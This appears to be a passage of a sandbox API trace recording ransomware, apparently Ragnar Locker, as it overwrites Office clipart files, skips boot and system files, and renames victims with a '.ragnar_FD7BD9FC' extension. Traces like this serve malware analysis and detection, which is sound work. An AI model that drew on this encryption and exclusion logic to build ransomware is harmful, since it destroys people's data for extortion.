[0089.393] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="boot.ini") returned 1 [0089.393] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="bootfont.bin") returned 1 [0089.393] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="bootsect.bak") returned 1 [0089.393] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="bootmgr") returned 1 [0089.393] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="bootmgr.efi") returned 1 [0089.393] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.393] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="desktop.ini") returned 1 [0089.393] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="iconcache.db") returned 1 [0089.393] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="ntldr") returned 1 [0089.394] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="ntuser.dat") returned 1 [0089.394] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.394] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="ntuser.ini") returned 1 [0089.394] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="thumbs.db") returned -1 [0089.394] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.394] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.394] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.394] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.394] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.394] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.394] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf")) returned 0x20 [0089.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.395] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15708) returned 1 [0089.395] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3d53, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.395] GetProcessHeap () returned 0x580000 [0089.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.395] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.397] VirtualAlloc (lpAddress=0x0, dwSize=0x3d5c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.397] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.397] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.397] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3d5c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3d5c, lpOverlapped=0x0) returned 1 [0089.398] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.398] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d5c, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.398] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3d5c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3d5c, lpOverlapped=0x0) returned 1 [0089.398] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d5c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.398] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.399] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3d5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.399] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.399] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.399] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.399] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.399] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.399] GetProcessHeap () returned 0x580000 [0089.399] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.399] CloseHandle (hObject=0xf4) returned 1 [0089.399] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" [0089.399] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.ragnar_FD7BD9FC" [0089.399] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.400] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f647900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f647900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00049_.WMF", cAlternateFileName="")) returned 1 [0089.400] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.400] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00049_.WMF" | out: lpString1="PE00049_.WMF") returned="PE00049_.WMF" [0089.400] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF") returned=".WMF" [0089.400] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.400] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="autorun.inf") returned 1 [0089.400] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="boot.ini") returned 1 [0089.400] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="bootfont.bin") returned 1 [0089.400] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="bootsect.bak") returned 1 [0089.400] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="bootmgr") returned 1 [0089.400] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="bootmgr.efi") returned 1 [0089.400] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.400] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="desktop.ini") returned 1 [0089.400] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="iconcache.db") returned 1 [0089.400] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="ntldr") returned 1 [0089.400] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="ntuser.dat") returned 1 [0089.400] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.401] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="ntuser.ini") returned 1 [0089.401] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="thumbs.db") returned -1 [0089.401] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.401] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.401] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.401] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.401] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.401] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.401] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf")) returned 0x20 [0089.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.401] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16448) returned 1 [0089.401] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4037, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.402] GetProcessHeap () returned 0x580000 [0089.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.402] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.403] VirtualAlloc (lpAddress=0x0, dwSize=0x4040, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.403] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.403] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.403] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4040, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4040, lpOverlapped=0x0) returned 1 [0089.404] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.405] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4040, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.405] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4040, lpOverlapped=0x0) returned 1 [0089.405] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4040, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.405] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.405] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4040, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.405] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.405] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.405] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.405] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.406] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.406] GetProcessHeap () returned 0x580000 [0089.406] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.406] CloseHandle (hObject=0xf4) returned 1 [0089.406] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" [0089.406] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.ragnar_FD7BD9FC" [0089.406] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.406] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e334c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e334c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4d18, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00050_.WMF", cAlternateFileName="")) returned 1 [0089.406] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.407] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00050_.WMF" | out: lpString1="PE00050_.WMF") returned="PE00050_.WMF" [0089.407] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF") returned=".WMF" [0089.407] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.407] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="autorun.inf") returned 1 [0089.407] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="boot.ini") returned 1 [0089.407] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="bootfont.bin") returned 1 [0089.407] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="bootsect.bak") returned 1 [0089.407] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="bootmgr") returned 1 [0089.407] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="bootmgr.efi") returned 1 [0089.407] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.407] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="desktop.ini") returned 1 [0089.407] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="iconcache.db") returned 1 [0089.407] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="ntldr") returned 1 [0089.407] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="ntuser.dat") returned 1 [0089.407] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.407] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="ntuser.ini") returned 1 [0089.407] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="thumbs.db") returned -1 [0089.407] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.407] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.407] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.407] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.407] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.407] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.407] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf")) returned 0x20 [0089.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.408] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19736) returned 1 [0089.408] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4d0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.408] GetProcessHeap () returned 0x580000 [0089.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.408] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.409] VirtualAlloc (lpAddress=0x0, dwSize=0x4d18, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.410] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.410] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.410] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4d18, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4d18, lpOverlapped=0x0) returned 1 [0089.411] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.411] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4d18, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.411] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4d18, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4d18, lpOverlapped=0x0) returned 1 [0089.414] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4d18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.414] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.414] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4d18, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.414] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.414] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.414] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.414] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.414] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.415] GetProcessHeap () returned 0x580000 [0089.415] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.415] CloseHandle (hObject=0xf4) returned 1 [0089.415] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" [0089.415] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.ragnar_FD7BD9FC" [0089.415] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.415] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d021f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d021f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x47ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00052_.WMF", cAlternateFileName="")) returned 1 [0089.416] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.416] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00052_.WMF" | out: lpString1="PE00052_.WMF") returned="PE00052_.WMF" [0089.416] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF") returned=".WMF" [0089.416] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.416] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="autorun.inf") returned 1 [0089.416] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="boot.ini") returned 1 [0089.416] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="bootfont.bin") returned 1 [0089.416] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="bootsect.bak") returned 1 [0089.416] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="bootmgr") returned 1 [0089.416] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="bootmgr.efi") returned 1 [0089.416] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.416] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="desktop.ini") returned 1 [0089.416] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="iconcache.db") returned 1 [0089.416] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="ntldr") returned 1 [0089.416] lstrcmpiW (lpString1="PE00052_.WMF", 